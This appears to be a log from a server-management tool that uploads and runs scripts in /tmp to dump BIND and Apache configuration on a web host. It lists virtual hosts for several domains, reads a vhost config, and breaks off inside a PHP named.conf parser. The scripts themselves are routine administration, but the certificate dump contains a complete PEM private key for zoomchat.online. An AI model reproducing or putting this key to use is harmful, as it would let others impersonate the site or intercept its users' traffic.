MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= a3d92972abbb369edf3baf47c3e33e8b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-10-22 12:29:19: Establishing a connection
2025-10-22 12:29:20:
PUT: /tmp/pkp520965
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-22 12:29:21:
chmod 755 /tmp/pkp520965; /tmp/pkp520965; rm /tmp/pkp520965
2025-10-22 12:29:22:
[Wed Oct 22 12:29:22.133906 2025] [so:warn] [pid 352533:tid 140203115080000] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80 is a NameVirtualHost
default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
port 80 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:2)
alias www.zoomchat.online
*:443 is a NameVirtualHost
default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
port 443 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:27)
alias www.zoomchat.online
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default
Mutex cache-socache: using_defaults
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.
STDERR:
[Wed Oct 22 12:29:22.133906 2025] [so:warn] [pid 352533:tid 140203115080000] AH01574: module status_module is already loaded, skipping
2025-10-22 12:29:22:
PUT: /tmp/pkp607255
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/httpd/conf.d/zoomchat_www_online.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-22 12:29:22:
chmod 755 /tmp/pkp607255; /tmp/pkp607255; rm /tmp/pkp607255
2025-10-22 12:29:23:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_online.conf 1809
<VirtualHost *:80>
ServerName zoomchat.online
ServerAdmin do_not_email@example.com
ServerAlias www.zoomchat.online
DocumentRoot /var/www/zoomchat_www
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/zoomchat/www_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
</VirtualHost>
<VirtualHost *:443>
ServerName zoomchat.online
ServerAdmin do_not_email@example.com
ServerAlias www.zoomchat.online
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
DocumentRoot /var/www/zoomchat_www
<Directory /var/www/zoomchat_www>
Options +FollowSymLinks -MultiViews
AllowOverride All
Require all granted
<Files "index.html">
FileETag None
Header unset ETag
Header set Cache-Control "max-age=0, no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires "Wed, 11 Jan 1984 05:00:00 GMT"
</Files>
</Directory>
CustomLog /var/log/httpd/zoomchat/www_secure_access.log combined
ErrorLog /var/log/httpd/zoomchat/www_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-22 12:29:23:
PUT: /tmp/pkp387621
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-22 12:29:23:
chmod 755 /tmp/pkp387621; /tmp/pkp387621; rm /tmp/pkp387621
2025-10-22 12:29:23:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt 5349
e5:3e:f3:a6:9d:0e:04:b3:94:dc:a3:e4:31:9a:33:4e
-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBYhLh3IQVYZN2N1YrSg5ra3uMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDIyMTEyODMyWhcNMjYwMTIwMTEyODMxWjAaMRgwFgYDVQQD
Ew96b29tY2hhdC5vbmxpbmUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCs+HTNUhLqh4lzT+LuS4qTycm0kPteHw6luW/WDxIniSuHGvCyK34gjmxmtk/w
CuK4JsneXsVvyG6ghPEmkrG1w4Q65tvBXXMCr2aLwiKJhQJTmierKtXVtqtJSCbr
qHHXKwjd1/GlmDZc1/a7FXoAvxiwYIKA5GNNw0H5r+tnFzGSiQqtS0LAHxwsIuK+
J4yLWLqFMHuwPjIirMOQo0/PgSb26KlVqpIeGYJSeuUkQzQ0wlxJ76TbLm6gU4GW
qaazj0c7nLJo62OFEbGElRcIdY9joM8gSbgVPBNiF3nDz6ds+SelFCoPGfso5PD+
7V6vWsiY1KRoIVUe9mvcUwydAgMBAAGjggIhMIICHTAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFA00ypFYD/Y14WuFHE8uzsd4tUUTMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wGgYDVR0RBBMwEYIPem9vbWNoYXQub25saW5lMBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIu
Yy5sZW5jci5vcmcvMTExLmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB2AGQR
xGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAABmgvjE7oAAAQDAEcwRQIh
ANq+uZ9Utz1T41tLbU2niCt7EEuiADgG84Qi4qFiecZuAiAmlUM9yDKDwUNZKTeq
Z7eb2RIkBAb24C21JqdLhx1cdwB3AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWw
yxTDFFjnAAABmgvjE90AAAQDAEgwRgIhAKMyPVNcQCvadFGU/9I7Ha9G524s+erL
0PsQm6lLACMtAiEAgwfLGFoNSdKhxNPz3HzgF4g9D3wFZPNRYH9HUcSOIdUwDQYJ
KoZIhvcNAQELBQADggEBAG0PMkKKd90N85EnhPW8JKUuMGT/amnIRxrgpGgGH7cC
nVWZgg8tl01mOLgWvbBNdA14shWyjnZI2LNNHz0MurLS1BGbvW90mDDCnKCk5ga3
jIvkZJBWbg1r1TfX5OULAnUmCG+biKSJRVGK9JpGJfxRIJkmiLShAY/F2d4y/blz
ltt8BuuT3YfN58I9Hc07ogVM7wIWZHR2zLmYody0sU7Kd0wuFpI8mkTFNeKB7P0v
B3Ao5hgOlwCL1ZDvOMRCWyOqosfoiy7Ms1pxjvbZbG/rLHy3l8mJoAHnJJGT80r0
VO7U0s+ODG5mZvmJ67ygs+CJIYjqPMJHGLBADap0lR0=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCs+HTNUhLqh4lz
T+LuS4qTycm0kPteHw6luW/WDxIniSuHGvCyK34gjmxmtk/wCuK4JsneXsVvyG6g
hPEmkrG1w4Q65tvBXXMCr2aLwiKJhQJTmierKtXVtqtJSCbrqHHXKwjd1/GlmDZc
1/a7FXoAvxiwYIKA5GNNw0H5r+tnFzGSiQqtS0LAHxwsIuK+J4yLWLqFMHuwPjIi
rMOQo0/PgSb26KlVqpIeGYJSeuUkQzQ0wlxJ76TbLm6gU4GWqaazj0c7nLJo62OF
EbGElRcIdY9joM8gSbgVPBNiF3nDz6ds+SelFCoPGfso5PD+7V6vWsiY1KRoIVUe
9mvcUwydAgMBAAECggEAG7nDtzmlsJRDMwmmHX5cWy4oN9pZgI/H4EamJ5DI3y98
m6500IpqMDvEIn6st5R3HP+SsiNM0Is3OGG26fDvrWwGoQ5qQUeCbPbCoDphINwC
MHZwT16RYi1irV90Zafdf5j1VeIMaPfKFv3DHd/ma4I2Ked+Y7y4MjnPNH+/Ywmw
AR8TksJikVeQN4ylndzQrRFA1Kw+rk73PXyTj/QNd7++wu9jJDxjEJMR7ixBXOKn
1ZPCtrvLnMk3s82KWy9QwbZnHTlyVzeIvJMJeFvzOOHxCHZZCfAqLLYQIcxBpjRY
hDLJcIUJA2r8+rKPIfR7p5JS8DIlOWy7M+6vuySKIQKBgQDlZ7W8N0dPn8Km5ZRa
vjyiK5wPvxnifFsKteBbLo3yreHxkINhJuACyk747zkI335AxOK3akf2Ebzu5S1D
0iKoUZ78MJ072nZstzQzIABo6yBkac8vFg5n0eslPggQUs8rrVvVYGnRQeO7/7ty
bG+4L5t7mEjRdfMj8iP0VPoVKQKBgQDBBeEn3SwBRGyy5ydx4l8Yb1XIPPXJ502W
AIepHp02cAmLQtARC0vt7hg2vs7yJhy8dD7fUtxinlaPFU9fc+vomH9rJX+CoKO0
o4RNAsz7yKUsq/+MlhUZgg+4wEIdFL1aRq+6onnQhGVwwpQQ0xQ2tynnfbq/xx7y
KgW5TkSWVQKBgBc/5YlHyPBm7qFfjyOLODXvWYe3BHaRx+BUAoL7OuOnf8itrsL/
36AoxMwx4oPlsrP5wEh6ewSTU6SakXXYLC8G5qgEfUr9nxbxklbEHYaEnenPV3Ic
OCWJft1tZf/RhLGWhkIf3VmZ5ey9xE+acdAm8wkZq/eejp/MAJzYp+fRAoGAf0+7
dCmjDqrs7wsbrzfZ9Snp8IqUqzkOqXNsBxYUJ4W6JcpJphRHXoV+Hw23PWv55Crg
FTh39+vrt7AcjB7PaLi8whUXhzchAtIfPxQr055Bo7dGdJnBDPQGHptggAHf6p1Y
5sanhertZXRRaM9wM66XywHYnQle1eb1o4WGI4kCgYEAjpIpnCTz6RpFD4O9K/1e
ij0n3tthGzfpKcYJEQnn5Sm4hj3UIdzSAlxrbvNiI1A6oMGUeHa7uoV1HSBfyAlS
iS6lwhi6uscSyvKkKkuzyPAsHqLlyYlWpdVvCG/s6lWZ7fd4WuZuqXe3MehtYNye
6DxNZENRXjqV4clN9X2dq14=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-10-22 12:29:24: Establishing a connection
2025-10-22 12:29:24:
PUT: /tmp/pkp552740
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
